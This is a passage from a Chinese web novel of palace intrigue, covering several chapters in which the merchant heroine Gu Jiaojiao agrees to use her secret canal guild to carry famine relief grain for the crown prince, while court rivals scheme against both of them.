这份决心可不是为了徐青青,而是为了他自己的前程。 “不可,平王妃了向来跋扈,怎可认错?何况,她从不将你我二人放在眼里,最后也只是不了了之。” 徐青青停顿了一下,若有所思的模样,不等孙协兆说什么,她便继续说了下去。 “夫君若是咽不下这口气,不如去找父王,但还不能直说此事,你可这般说……” 徐青青凑近孙协兆的耳边,小声的嘀咕了几句。 孙协兆双眼放光,直称赞徐青青有宰辅之才。 二人又你侬我侬了一阵,才让外面跪着的青儿起来,只是青儿冻的太久,直接晕倒在地。 顾府。 顾皎皎刚喝完药,药太苦,她的眉头许久都没有松开。 想来是沈云祉有意报复,才让太医开了这么苦的方子。 莺儿从外面走进来,站在门口处,扫了扫身上带进来的雪花。 又下雪了,很大,大朵大朵的雪花,似是有人撒下来的一般。 莺儿进来后,想着自己身上带着寒气,并未离顾皎皎太近,只是站在火炉前,让自己暖一些。 “如姑娘所料,那徐青青被打的不轻,那孙三倒是疼她,找了好几个郎中。” 莺儿汇报着外面打探来的消息,提到孙协兆等人,这丫头就一脸的嫌恶。 顾皎皎倚靠在床榻之上,没有任何饰品的乌黑的长发披在肩膀,如缎子一般直到腰间,她只是淡淡的扯动了嘴角,并未表现出任何意外。 “平王妃是心胸狭隘之人,又最忌讳别人提到子嗣,而那些难听的话又出自徐青青之品,她自是忍不了的。” “只是,姑娘,这件事虽然发生了,但也只是徐青青受到了教训,平王妃好似也没什么影响。” 莺儿一脸狐疑。 顾皎皎被平王所抓,无论是平王妃,还是孙协兆夫妇,都有份参与,若论报复,一个也跑不了。 “傻丫头,那是平王妃,自是不可能像对付徐青青一般,此次事件只是个开始,日后还需要筹谋的。” 顾皎皎并未说自己的计划。 莺儿茫然的点了点头,她不懂,但她家姑娘说的,必然是对的。 “对了,姑娘,还有一事,王吉听到,徐青青说平王欲给孙协兆安排个官职,听她的语气,大抵是真的。” 官职。 以孙协兆的才学、能力、人品,就是连个人都当不好,又怎可当官? 可他的背后是平王。 “孙协兆向平王提供了有关我的消息,虽然最后事未成,平王也觉得他还可用,自是要给他一些好处的。” 顾皎皎不禁咬了咬牙,身上的疼痛以及那日的凌辱还在脑海中盘旋,而背后阴毒之人,却要长官发财? 这世间哪有这等好事? “姑娘,要不要让王吉打断他的腿?” 莺儿无不郑重的说道,这是她想到的最痛快的办法了。 顾皎皎被她逗笑,忍不住抬手轻拍了她一下。 “这是机会啊。” 她要准备对付孙协兆,但一直没有太好的机会,现下,这不就送来了? “去告诉王吉,这几日主要盯着孙协兆的行动,去哪里,见什么人,最好都要详细一些。” “是,姑娘。” 莺儿立即应下,而后转身,又从火炉上拿起了一碗药。 “姑娘,这药刚刚凉了,现下热好了,姑娘快喝吧。” 她将那药递过去时,顾皎皎的脸色便有些难看了。 “刚刚喝过一碗了,要不,再等等?” 顾皎皎试探着。 莺儿却目光坚定。 “姑娘拖这一时半刻的有何用?终是要喝的,热来热去,反倒失了药效。” 顾皎皎撇了撇嘴,只好又将一碗药喝了下去。 翌日。 孙协兆带着一些礼品入了平王府。 他先是与平王说了些正事,而后便提出,要去向平王妃请罪。 “请罪?何来请罪之说?” 平王眉宇间袭上凝重,对于平王妃所做之事,自是毫不知情。 孙协兆装出为难之色,不是简单的说了昨日的情况。 “王爷也知道青青那性子,有时说话口无遮拦,王妃教训也是应该的,小婿只是想着,还是要向王妃致歉,请王妃万勿生气。” 这些话都是徐青青教的,孙协兆也表演的很好,让人看不出他并非诚心请罪。 平王明显有些生气,但也隐忍下来。 “王妃此次有些过了,都是一家人,就算惩罚也不必当众给青青那么大难堪,这也是打本王的脸。” 平王这说的倒是实情,他抬头看向孙协兆。 “不必请罪,此事本王会跟王妃说,稍后让李嬷嬷给你带些上好的药膏,到底是女儿家,伤了脸总是不好。” 孙协兆连连道谢,一再强调着他和徐青青对平王妃的敬畏之心。 也正是因为这样,平王暂时相信了他的诚意,而对于平王妃,平王心里已然存了怒气。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十四章 舌战群雄 为着徐青青一事,平王与平王妃大吵一架,平王甚至下令,让平王妃禁足于府,以示惩戒。 平王妃自是不甘,她并不怕被处罚,但因为徐青青,便是她心里过不去的坎,她自也不是那种可以忍气吞声的女子。 外面流言如沸,从一开始的太子与平王的争斗,慢慢变成了太子为搏红颜一笑,不顾礼法之事。 沈云祉坐镇皇宫,能听到一些流言,他却也并不放在心上,但大臣们却坐不住了。 朝堂之上。 “太子殿下为臣民表率,任何不好的言论都该制止。” “臣觉得,殿下还是要谨言慎行,方为太子之德。” “宫外女子大多有意攀附,太子莫要被蒙蔽了才好。” 上一次因为府尹之事,朝臣们已然是言论纷纷,甚至还有人被处罚,这短短数日,他们便忘记了。 不同的是,这一次倒是实实在在依据着礼法做事的。 沈云祉坐在最上面,看着面前的奏折,突然想到了那幅百雁图。 该找个机会,将那图送给顾皎皎才是。 “几位大人,此言差矣。” 一道声音响起,别说是大臣们,就连沈云祉都有些意外的抬起头。 杜玉荣从人群中走出来,站在大殿中央。 沈云祉突然想起,今日是杜玉荣上殿递折子的日子,刚刚竟没有注意到他。 “为君者,以百姓为先,太子殿下救民于水火,便是殿下大**义之举,只因为救的是个女子,便多了这许多闲话,不敬礼法的到底是殿下,还是传播谣言之人?” 杜玉荣义正言辞。 近来,赵蕴苎又去过杜府,他话说的重了些,便惊动了父母,杜家二老看到赵蕴苎泪眼朦胧的模样,便将杜玉荣训斥一番。 杜家书香门第,所谓训斥与男女之事无关,也与权位无关,只是觉得杜玉荣身为男子,该礼让女孩子一些。 为了此事,杜父罚杜玉荣在家中抄书静心。 杜玉荣倒也没有觉得什么,反正他也是爱诗书之人,只是不能去看顾皎皎,让他有些焦心。 自然,他也不知道他在府中的这些时日,竟然还发生了此等大事。 若不是今日早朝上,听到朝臣们议论,他仔细问了几句,也未曾想,顾皎皎会经历如此磨难。 “男女授受不亲,这是自古留下来的道理,杜大人如此说,莫不是连书中礼仪都忘记了?” “殿下是去救人,又不是风花雪月,何来授受不亲之说?他日外敌来犯,难不成殿下只能救男子,妇幼皆可抛弃,只因一句男女授受不亲?” “你……你这是强词夺理。” “这个道理,怕是小孩子都懂得,百姓不了解实情还有情可原,诸位大人深知其中缘由,却还将这等事拿到朝堂之上来说,简直如长舌妇一般。” 杜玉荣平时不善言辞,为人清冷孤傲,而今站在朝堂之上,倒是可以舌战群雄。 “杜大人言辞太过激烈,我们都是为了太子殿下,太子立下不久,便已经有了这等传言,有损殿下声誉。” “边关大雪连连,牛马冻死无数,牧民苦不堪言,此事已经报上朝廷多日,也不见哪位大臣上心,不能解百姓之苦,那才有损殿下声誉。” 杜玉荣冷笑出声,斜睨着刚刚那位大臣,又继续补了一句。 “天灾之事不上心,倒是对这些街边传闻极为看重,大人这官当的也太轻松了些。” “你……” 那人脸红脖子粗,却根本找不反驳之言,就连其他几人,也意识到根本不是杜玉荣的对手。 杜玉荣也不给他们机会,冲着上面的沈云祉抱拳行礼。 “殿下,臣拟了一份救治灾民的折子,或有不足之处,请殿下过目,不妥之处,臣再修正。” 他凭一己之力,瞬间扭转朝堂上的风向。 沈云祉很满意,倒是用不到他提前安排好的说辞了。 “好,诸位大臣食奉禄,要记得百姓给予的,还望诸位多像杜大人学习。” 说这话的时候,沈云祉自己也觉得过于冠冕堂皇了。 退朝后,沈云祉将杜玉荣留了下来。 “你的折子我看过了,赈灾的银钱与粮草朝廷需可随时备好,只是这带队之人不好定夺。” 沈云祉伸手,示意杜玉荣坐下。 “是,臣也想了,平王在京中盘踞多年,武将多是他的人,他对殿下怀有恶意,怕不会用心办理此事。” 在折子里,杜玉荣没有提及带队之人,便是这个原因。 沈云祉命人上了茶,抬眼间,似是早已胸有成竹。 “我在想,如果我们不用武官,而是走漕帮,用民间的商队,而带队之人,找一个稳重的老臣,你觉得如何?” 这个想法沈云祉早就有了,但还是要听听别人的意见,杜玉荣便是最好的人选。 杜玉荣倒是眼前一亮。 “殿下聪慧,用江湖中人,他们自会保护好财物粮草,而就算是有人想要动手脚,怕也无法对会跑江湖的人,而且,这江湖中人嘛敬畏朝廷,自是不敢懈怠。” 他也觉得这是一个好办法,但又马上有些犹豫。 “只是,这批物资不少,怕是没有哪家漕帮敢接下吧?” “无妨,此事我已有人选,既然你觉得这主意可行,那我便去安排。” 沈云祉胸有成竹。 杜玉荣自是赞同,雪灾之事已经耽搁了有些时日,越早处理,才能越减少百姓的损失。 说完正事,杜玉荣也起身准备告退。 “今日御膳房做什锦锅子,玉荣不妨留下,尝一尝,暖暖身子。” 沈云祉嘴角噙着笑,让人分不清他真正的意思。 杜玉荣笑了笑。 “殿下抬爱了,只是近来家父正在施罚,微臣还得回府抄录佛经,便不打扰了。” “杜府规矩极严,书香门第,想来你又是做了什么错事,也是好事,不然也不能教导得你如此出类拔萃,如此,我便不留你了。” 沈云祉也没有跟他客套。 杜玉荣谢恩后,便离开了皇宫。 不过,他并没有回府抄录佛经,而是踏出宫门那一刻,便命车夫前往顾府。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十五章 来看你 杜玉荣并未能进入顾府。 “杜大人见谅,姑娘正在调养期间,不宜见客,待姑娘好些,再请杜大人前来叙旧。” 莺儿之所以将杜玉荣挡在门外,自是因为得了顾皎皎的指令。 “听闻顾姑娘伤的极重,在下也只是想去看看她。” 杜玉荣的焦急都写在脸上,时不时的向那扇大门张望。 莺儿微微欠身。 “郎中交代了,姑娘要好好休息,怕是也无法见大人,还望大人改日再来。” 杜玉荣自是知道,他无法进这门,是顾皎皎的意思。 他是君子,自是不好直接闯入。 “既如此,那在下便改日再来。” 他转身时,还回头看了几眼那扇门,依依不舍。 “大人慢走。” 莺儿也是松了一口气,看着杜玉荣走远,才返回府中。 此时,顾皎皎正坐在窗前。 窗子开着,冷风吹进屋内,她裹了一件狐裘倒是不觉得冷。 这场雪下得极大,院中的红梅都被压弯,但枝头的梅花开的极盛,火红的一簇簇,使这冬季也不觉得萧条。 “相思一夜梅花发,忽到窗前疑是君。” 顾皎皎悠悠开口,声音很轻。 “姑娘在念什么?” 莺儿不知何时站在她的身侧,低声询问。 顾皎皎收回思绪,扯动嘴角。 “没什么,随口吟诵的诗句。” “奴婢知道姑娘在想什么,只是,姑娘与那人身份天差地别。” 莺儿是自幼跟在顾皎皎身边长大的,诗书不及她,却也略懂一二,自然可以从她这句诗里听出思念。 “我知道,我从不奢望与他能有什么。” 一阵冷风吹过,顾皎皎不禁紧了紧身上的狐裘。 莺儿立即上前,将窗子关上。 “姑娘身子未好,不要再吹冷风了,何况那雪景看久了也眼晕,我陪着姑娘去躺会儿吧。” 这丫头知道顾皎皎此时难过,便不再提及此事。 顾皎皎微微点头。 大约是受伤的缘故,她身上还是时常疼痛,整个人也容易疲乏。 “对了,杜大人可有说什么?” 杜玉荣来时,门口的家丁就已回报过,但顾皎皎不想见。 她知杜玉荣心意,而她又无法给他想要的答案,与其见面徒增尴尬,不如不见。 “也未说什么,杜大人只说过两日等姑娘身子好些,再来探望。” 还要来吗? 顾皎皎如今有伤在身,怕是躲也躲不掉的。 “姑娘,杜大人家世虽显,但书香世家,想来都是知书达理之人,也许,他们不会有门第之见,若是……” “莺儿,这种话莫要再说。” 顾皎皎立即一脸严肃,看向莺儿的目光也满是坚定。 莺儿微低下头。 “是,莺儿知错。” “我没有再嫁他人为妻的打算,杜大人家世如何,人品如何,都与我无关,这段时日有关我狐媚的谣言已经太多,莫要再给我惹麻烦。” 顾皎皎说的很明白了,莺儿也听得很明白。 说到底,她是对杜玉荣无意,可她有意的那个人,是万万无法在一起的。 “是,说起来,今日是该双瑞来送东西的时日,怎的这个时候还未来?会不会不来了?” 莺儿将被子轻轻盖在顾皎皎的身上,还为她笼了个汤婆子放在被子里,会暖和些。 “如此大雪,不来也是正常,莺儿,我乏了,睡一会儿,帮我点个安息香吧。” 顾皎皎困意袭来,也不想再想其他事。 这世间万事瞬息万变,也不是她可以左右的。 顾皎皎做了一个梦,她已经很久没有梦到自己的父亲了,顾老爷在梦中心疼的看着他,还会自责当初为她寻的那门亲事。 看着父亲哭,顾皎皎急的不行,想上前去拥抱父亲,可顾老爷就那突然在她眼前消失了。 “父亲……” 顾皎拉惊呼出声,猛得睁开眼时,发现还在自己的寝室。 原来只是一场梦,梦的那样真实,以至于有两行泪顺着她的眼角流下来。 “莺儿,莺儿……” 顾皎皎缓缓起身,轻唤着莺儿的名字。 莺儿未到,但是一杯茶递了过来。 顾皎皎去接那杯茶时,手突然停在半空之中。 修长的手指,骨节分明,衣衫是昂贵的云锦纱,一匹之价不下百金,上面祥云的刺绣都是金线掺杂着月白色的丝线绣的,在日头下会闪闪泛光,精致无比。 顾皎皎缓缓抬头,便看到了那张好看,又带着玩味之笑的脸,眸子漆黑幽邃,一眼望不到底。 “你的侍女被双瑞带走了,正在后院吃樱桃煎呢。” 沈云祉玩笑一般的开口。 他此次前来,虽然还未入夜,却也是暗中前往,不想被人知道,也包括顾皎皎的贴身侍女。 “民女见过太子……” “不必多礼。” 沈云祉拦下欲下床的顾皎皎,直接坐到了她的了床榻边。 “殿下怎么了?大雪飘摇,正是路难走之时。” 顾皎皎半倚在床榻边上,客气疏离,也觉得自己这样多少有些失礼。 “来看你。” 沈云祉歪着头打量着顾皎皎,而后又再次开口。 “疤痕似是淡了些。” “劳殿下记挂,伤口在愈合了,没有什么大事。” 顾皎皎低垂着眼眸,胸口处的心脏跳的更厉了一些。 他们二人此时离的太近了些,又是在床榻之上,顾皎皎显然有些不自然。 沈云祉抬手,轻拂她额间的长发,看着她娇柔美艳的脸,眸子里带着此话的炙热。 这个举动太过暧昧,顾皎皎不禁向后缩了缩,躲开他的手。 “民女伤势见好,殿下忙于政务,日后不必亲自过来。” 她的声音很低,若不是离得近,怕是沈云祉也听不清。 沈云祉自是知道,她在刻意回避,也不恼,转而站起身。 “我在外间等你,有要事与你商量。” 说完,他便大步向外间走去。 顾皎皎已经不记得这是沈云祉第多少次出现在她的床榻之上,但终究不能再继续这样下去。 她还是起身,简单的收拾了一下,便步入外间。 “不知殿下有何吩咐?” 此时,沈云祉正斜卧在外间的软榻之上,手中还拿着桌上的糕点。 顾皎皎心里紧张,猜不出是好事还是坏事。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十六章 减少一些损失 “我记得你的漕帮日益壮大,所行水路陆路皆顺畅无比,若是到极北之地,想来也不是什么难事。” 沈云祉悠悠开口,俊朗的脸上没什么多余的神情,如此大事被他说的像是闲事一样。 顾皎皎的脸色变得异常难看。 她乃是商户之女,继承父亲遗志,将顾家生意发扬壮大,只是有些生意她刻意隐藏,自己并未亲自接手。 比如,漕帮。 顾皎皎到底是女子,漕帮涉及到的方方面面太过复杂,她便从未出面接手过生意,到现在为止,也不曾有人查到什么蛛丝马迹。 可是,沈云祉。 “殿下,如何得知漕帮之事?” 顾皎皎在想着,她是哪里露了破绽。 “说起来,你身边的那个王吉着实能干,明面上与官与民都搞好关系,运作漕帮,暗中又培植眼线,帮你打探消息,这等人才,即使是本殿下身边也挑不出几个。” 沈云祉毫不掩饰眼中的得意,眉宇间那抹傲气似是天生一般,让人不敢直视。 他原是小云南王,凭一己之力成为太子,与小人争斗,也与居心叵测之人争斗,他又怎会只是一个单纯上位的太子。 “殿下莫不是要以此事威胁民女?” 顾皎皎脑海中蹦出无数想法,这让她最恐怖的想法,也直接脱口而出。 沈云祉愣了半刻,随即笑出声。 “威胁你什么?你是以为我要以漕帮之事,威胁你成为我身边的女人?” 他眼中玩味的笑意更浓,不像是在谈条件,更像是在看热闹。 问题是,他猜对了。 顾皎皎就是这样想的。 顾皎皎立即清咳两声。 “当然不是,殿下何等身份,想要什么样的女子没有,怎会以此要挟?我的意思是说,漕帮所有行动都合理合法。” “所以,我想让你们漕帮帮我走一趟货。” 沈云祉也不再逗她,而是直接说明了来意。 顾皎皎却眨了眨水汪汪的大眼睛,缓缓起身,凑近沈云祉,压低了声音。 “殿下是偷了皇宫的宝物?” 此话一出,一向淡然的沈云祉都不禁翻了个白眼。 他抬手便拉住了她的手臂,也不等顾皎皎反应过来,稍稍用力,便将她拉入怀中。 顾皎皎竟坐在了他的腿上,抬眼间,便可看到他的下巴以及那张好看的脸。 她离他如此之近,似是能听到他的心跳声,他幽深的眸子看过来,炙热,让人移不开目光。 顾皎皎不得不承认,那一刻,她被他吸引到了,所以在看到他喉结滚动之时,她忍不住咽了咽口水。 寺庙里的一夜温情,竟似是昨日发生之事一般涌入她的脑海,免不得脸红心跳。 “怎么?顾姑娘竟然还会害羞?” 沈云祉挑了挑眉毛,低垂着眼眸看着怀中的人。 她一脸娇媚,绯红的脸颊似是被火烧过一般,他揽着她的手不自觉的收紧。 不想放开她,想让她永远这般留在自己身边。 顾皎皎还是抽身而出,他的那句话让她回过神,还后退两步,随手整理了一下衣衫以及并不凌乱的头发。 “民女失言,望殿下恕罪。” 她也在心里暗骂着自己。 堂堂东宫太子,怎会偷皇宫的宝物,但他却要用她的漕帮,可见所要护送之物并不简单。 顾皎皎稳了稳情绪,才回到自己的位置上坐下,自是没有注意到沈云祉眼底的那抹失落。 “不知殿下要运送何物?需要多少人马?时间上是否有要求,水路陆路可有什么避讳?” 这便是顾皎皎。 在外人眼中,她只是一介商女,可她懂的却绝非是一般女子可明白的。 就像现在,她询问着这些时,眼中目光坚定。 沈云祉也在此时迎向她的目光,收回他那乱七八糟的思绪。 “是粮草,都是赈灾之物,送往北方。” 沈云祉沉声开口。 顾皎皎有些意外。 北方雪灾,灾祸连连,更有一些匪患借此发民难财,致使百姓苦不堪言。 这些,顾皎皎都听说了,她甚至还让善堂向那边拔了一些银款,发放果腹之物,只可惜,她力量微薄。 “朝廷赈灾,不应是由朝廷派出兵马,使者,殿下为何……哦,明白了,殿下不信任朝廷中人。” 话说一半,顾皎皎就想通了这其中意思。 赈灾一事,涉及百姓,也涉及朝廷威望,不管这中间出了任何差错,都是他沈云祉这个新任太子的责任。 “此次赈灾粮草数量不少,想你漕帮人力物力皆在,应是可以护好赈灾之物。” 沈云祉看着她,似是想要从她的眼中得到肯定的答案。 顾皎皎微低下头,思索着,白净的脸上满是凝重。 “至于银钱……” “我需要殿下出一份路引,水路和陆路都可通行的路引。” 顾皎皎似是没有听到他的话,而是直接开口。 “你有主意了?” “到北方,水路便无法畅通,那便从京城出发走水路,再转陆路,这么一大批赈灾之物,路上定有严查,殿下给了路引,便可免查,如此便可快一些抵达。” 顾皎皎停顿了一下后,又继续说道。 “我会通知下去,漕帮近来的生意全部停下,只跑这一趟,不知殿下何时可备好东西?” 她在谈论这些大事时,没有一句废话,句句都是要点,可见她不仅懂漕帮的运作,还懂得实践。 “两日。” 沈云祉坚定的答道。 “那便给殿下留三日的时间,再多一日,还要烦请殿下将所有物资包上油皮纸,走水路难免不会沾到水,油皮纸防水,还轻,这样也可减少一些损失。” “好,听你的。” “那我稍后便通知王吉,其他一些细节的事让他与殿下的人对接。” 沈云祉听着她的话,看着她那张好看又坚定的脸庞,心思微动,他称她为奇女子,果然没有错。 顾皎皎提了好多关于赈灾之事的事宜,但却一直未提她应得的报酬,她似是也并不在意。 “你到底是生意人,此次为朝廷做事,该你的得的一分也不会少你。” 沈云祉这样说着,顾皎皎倒是觉得有道理,得到那些钱赈济灾民也是好的。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十七章 我会护你周全 朝廷的事做起来并不容易,向来是做好了无功,做错皆是过。 顾皎皎能痛快的答应此事,并非是为了沈云祉的报酬,而是灾民无辜,能救一个算一个。 “待此事结束,我会给予你荣誉,让你成为堂堂正正的皇商。” 沈云祉向来说话算话。 这本是顾皎皎最想要的,只是却不是以这样的方式。 “殿下抬爱了,民女是生意人,殿下给了报酬,民女做事,是交易,不需要什么荣誉。” 顾皎皎说的理直气壮,但眼珠又似是想到了什么。 “如果殿下真要谢民女,不如帮民女个忙?” 她歪着头,笑的有些狡黠。 沈云祉答应了,一个微不足道的小忙。 他离开时,看着她,那副慵懒的态度里,难得的多了几分认真。 “我会护你周全。” 没有前言,没有后语,只这一句,让人分不出他指的是此次漕帮之事,还是指的私情。 沈云祉离开了,独留下顾皎皎在屋子里怅然若失。 若是可能,她何尝不想将他留下,只是…… “姑娘醒了?是不是饿了?双瑞送来了一些吃的,姑娘尝尝。” 莺儿满脸都写着高兴。 这丫头丝毫都没有意识到,自己刚刚离开之时,这间屋子里还出现了其他人。 莺儿将一盒点心放在桌上,盖子打开之时,香味瞬间袭满整个屋子。 “双瑞说,这是东宫的御厨所做,与我们所做的确实有些差别,姑娘快来尝尝看。” 听着莺儿催促,顾皎皎才走过来坐下。 面前的食物看着便极为精致,想来,双瑞也是带不出来的,应该是沈云祉的意思。 “双瑞来了?” 她明知故问,若不是双瑞,怕也没有人能支开莺儿。 “是啊,他奉太子殿下的命令,又带来了许多东西,有药材,有补品,还有一些吃食,哦对,还带来了两匹料子,我去拿给姑娘看一下。” 莺儿的开心是溢于言表的,见过双瑞,她便是像打了鸡血一般。 顾皎皎笑笑,没有阻拦,也没有拆穿她,青春年少的年纪,自该是轰轰烈烈的喜欢的。 她还是尝了尝那些食物,大抵都是沈云祉按照她的口味所做,所以她很喜欢。 不一会儿,莺儿便抱着两匹料子走了进来,一匹是青色印着浅色的海棠花,干净雅致,另一匹则是月白色,带着桅子花,清丽脱俗。 “这料子摸上去极为顺滑,可又不像是丝线织出来的,若是姑娘开春做成衣衫,再做上刺绣,定是极为好看。” 莺儿在双瑞送来的东西里,最喜欢的便是这料子。 顾皎皎上手摸了摸,又翻看了下料子,当真是难得。 “这是南国进贡的料子,采用的是双面织法,听闻这一匹料子要十几名绣女织半个月之久,极为难得,锦缎的材料更是取了桑蚕丝,这一匹便是无价之宝。” 她也只是年幼时听父亲说过,从未见过,今日一见,确实觉得这料子值它的价格。 “桑蚕丝,我们也有,但为何不能做出这等料子?” 莺儿不解。 “南国的桑蚕丝全部取自天然生长的蚕,而我们所用多为人工养殖,这本就是不可跨越的差距。” 这种料子,怕就算是皇宫也没有几匹,而沈云祉一下就送来两匹,可见他的心意。 只是,抚摸着这些料子,顾皎皎的思绪又飘的极远。 就算她对沈云祉有情,沈云祉对她有意,那又如何?身份使然,他们无法走到一起。 “将料子收起来吧,待开春,做两套衣衫。” 她微微扬了扬嘴角,眼中的落寞那样显而易见。 “是,到时我去霓裳阁,定让他们好好做。” 莺儿没有注意到顾皎皎异样,又兴高采烈的抱着那料子走了出去。 沈云祉一回到皇宫便开始着手安排赈灾之事,户部收到召令,一下调出那般多的银两与赈灾之物,表面上倒是没有说什么,但很快朝中大臣便开始上折子,让沈云祉给他们一个交代。 这一次,就连首辅大人都亲自来找沈云祉。 “护送将领未定,军队未出,殿下便已然将粮草银钱调出,这本不合规矩,大臣们对此事有异议也属正常,只是老臣觉得,殿下是否已经有其他打算?” 首辅看着沈云祉,其实到现在为止,首辅都看不透这个人,他年少轻狂,又胸有城府,甚至还可以看清形势,能避则避,能战则战。 这不是他这个年纪该有的心性。 “果然什么都瞒不了首辅大人,没错,我已然安排妥当,至于将领军队,想来首辅大人也知晓,我并无可用之人。” 沈云祉本就没有打算隐瞒,只是跟那些大臣说起此事,也不过是对牛弹琴,他懒得多费口舌。 首辅大人微怔,眉宇深锁。 “殿下欲用朝堂之外的人?殿下可知道,这批赈灾之物数量极大,价值不菲,若是有些肖小之徒,那朝廷的损失会极为惨重。” 他此言,也确确实实是为了朝廷着想,也是为了沈云祉着想。 对于此,沈云祉并不怀疑。 “大人所虑我皆已有安排,时间紧凑,现下再找出可靠之人已然是不可能了,若再耽搁,那些灾民就无生路可言了。” “殿下……” “我知首辅大人担忧,可眼下,百姓的命胜过一切,本殿下不在意朝堂上的议论,不在意那些人的诟病,只要护百姓周全。” 沈云祉说这话的时候,微昂着头,看着外面的天色,他如雕刻般的侧脸透着坚毅,那是一股无人可动摇的坚毅。 首辅知道,他无法改变他的决定了。 “既如此,老臣自会在朝堂之上替殿下挡下大臣们,殿下放心去做便是。” 沈云祉回过头,冲首辅笑了笑。 “首辅大人,乃我良师益友。” “殿下过誉了,这本就是老臣应做之事,只是……” 首辅停顿了一下,迟疑着再次开口。 “老臣的孙女苎儿,一直说御花园的梅花开的极好,但近来殿下忙碌,她不敢上门叨扰……” “大人说笑了,我何曾忙过?赵府千金入宫,我自会陪她逛逛。” 沈云祉神色未变。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十八章 并不打算追究 沈云祉下令,命王吉全权处理赈灾之事,所有细节都需要谨慎。 王吉代替顾皎皎在漕帮打理多年,对于这些事也是手到擒来,只要没有人从中作梗,这一路便可顺顺利利。 大事已定,当平王发现赈灾之事有蹊跷之时,已经晚了。 平王本想借赈灾之事,让沈云祉无法继续任太子之位,可他无论是行动,还是消息,都慢了一步,只这一步,他之前的计划便已全部落空。 平王怒不可遏,在府中大发雷霆。 屋子被砸的不成样子,无人敢劝,可李嬷嬷却在此时走了进来。 “滚出去。” 平王大骂出声之时,一只杯子也在李嬷嬷脚下碎裂。 李嬷嬷未躲,也未离开,只是恭敬的微低着头。 “王爷,宫里来人了,太子殿下邀您进宫一叙。” 一叙? 这个词用得极好。 平王冷哼出声,眼中闪现着杀意。 “也好,本王正要见他。” 平王是怒气冲冲进宫的,宫人将他带到了朝阳殿,而并非是东宫。 “太子莫不是真将自己当成皇上了?如今这朝阳殿倒成了你的地盘了。” 平王踏进殿的那一刻,便是一顿指责,甚至都不曾向沈云祉行礼问安。 沈云祉并不在意。 “似乎每次平王叔过来,都要说一番我这身份,但平王叔也应该明白,我这太子之位,是有皇上圣旨,入皇谱玉谍的,王叔再不甘心,也只能认下。” 他坐在高位之上,笑里藏刀。 平王恶狠狠的瞪着他,拂了拂衣袖便坐了下来。 “所谓名正言顺也不过是说给外人听的,能不能有命继任皇位,还得看你有没有那个福气。” “本宫向来不信福,不信命,只信自己。” 沈云祉丝毫不掩饰自己眼中的挑衅。 赈灾之事已定,平王也无法将这事拿到明面上说,能做的也只能隐忍。 “太子口齿伶俐,本王不及,还未问太子今日传召,所为何事?” 平王别过目光,那不将沈云祉放在眼里的态度也极为明显。 “哦对,平王叔不提,我都忘了,王福。” 沈云祉冲着殿外喊道。 王福从外面上殿,还带着两名侍卫,而那两名侍卫,还压着一个宫女。 那宫女看见平王后便连头也不敢抬,任由那侍卫将她押着跪在地上。 “平王叔可认得此人?” 沈云祉开口询问。 平王还是看了一眼那侍女,却并不认识。 “不识。” 他毫不犹豫的说道,可此时那宫女却突然面向他。 “王爷明查,奴婢彩月乃是平王妃的人,奴婢不想死,求王爷替奴婢求求情,让殿下放过奴婢吧。” 侍女一开口,便让平王整个人都谨慎了几分。 “你这贱婢,竟敢攀污本王王妃,是何居心?沈云祉,你这是从哪里找来的婢女,如此大胆。” 平王急了,怒吼声在大殿之上响起。 平王妃确实在东宫安插了人手,但有多少人,都是些什么人,平王确实不知情,而且到现在为止,他也不曾启用这些人。 “平王叔息怒,俗话说有理不在声高,王福,告诉平王叔都发生了何事。” 沈云祉眼中的笑意更浓,带着嘲讽。 王福上前一步,微躬着身子,一五一十讲述事情的经过。 这个叫彩月的宫女一直在东宫侍候,因差事当得极好,前几日便调到沈云祉的书房侍奉,洒扫点灯,也算看重她。 “不曾想,这丫头生出了别的心思,不仅在太子殿下的茶水里下了迷情之药,竟还偷得有关赈灾之事的奏折,正巧被抓了个正着。” 王福说完这些后,便退了下去。 “细查之后才得知,此宫女是从平王府出来的,平王叔,您是不是也太着急了些?” 此时的平王已经处于茫然的状态。 沈云祉所言之事,还有那宫女所行之事,他都不曾吩咐过,那这贱人又是奉了何人之命? “沈云祉,我看你是欲加之罪何患无辞吧?本王从未见过此人,更不曾在宫中放过自己的人,一个贱婢的话,许是受了殿下指使也不一定。” 平王当然不会承认。 沈云祉也不意外,俯视着地上跪着的宫女。 “你听到了,此事若是你自作主张,便要受五马分尸之刑。” “不不,奴婢没有撒谎,奴婢有密信,平王未见过奴婢也属正常,但奴婢所有行事都是受平王妃指使,近来平王妃所指使之事还有许多,都有密信为证。” 很快,宫人便在彩月屋子里的墙缝里搜到了许多密信。 有让她去打探皇上病情的,有让她去打探府尹一案的,还有有关赈灾一事等等。 这些信件便是证据,而这证据上的第一个字都是平王妃的亲笔。 “本王不知此事。” 平王握着那些信的手都在收紧,也是从牙缝里挤出这几个字。 “平王妃乃是内宅妇人,若是没有平王叔的授意,她又如何敢做此等之事?平王叔,你向来爱提身份,若以你亲王的身份,犯下此罪,可有把握逃脱?” 平王自然知道,沈云祉并不是在吓唬他,而是事实。 “唉,我也知平王叔向来与我不睦,可我们到底都是皇室中人,此事若是传出去,只会伤了我们的颜面,所以今日,我只是叫平王叔来知晓此事,并不打算追究。” 沈云祉装出真情实感的模样。 平王现在心绪极乱,看着彩月苦苦哀求,他恨不得上前杀了这个贱人。 “太子殿下言重了,本王未做过之事自是不能承认,此事既然涉及到王妃,本王回去后自会调查,如果属实,也自会给殿下一个交代。” “好,本宫自是信平王叔的。” 沈云祉挑了挑眉毛,看着平王怒火中烧,拂袖而去,而后才看上地上的彩云。 “你想如何?” 沈云祉的声音冷了几分,投过来的目光也令人毛骨悚然。 彩月不禁缩了缩脖子。 “奴婢别无所求,只求殿下将家人送离京都,至于奴婢可永生永世留在皇宫,随时成为殿下的棋子。” 彩月一个头磕在地上,言语诚恳。 从太子找上她的那一刻,她便知道,她的命只能握在太子手上。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百四十九章 如此绝情 平王府。 这是第一次,平王将一个重重的耳光甩到平王妃脸上,平王到底是习武之人,力道之大,使平王妃直接摔倒在地。 脸颊生疼,甚至可以感觉瞬间肿起,可这远不比平王此时的态度。 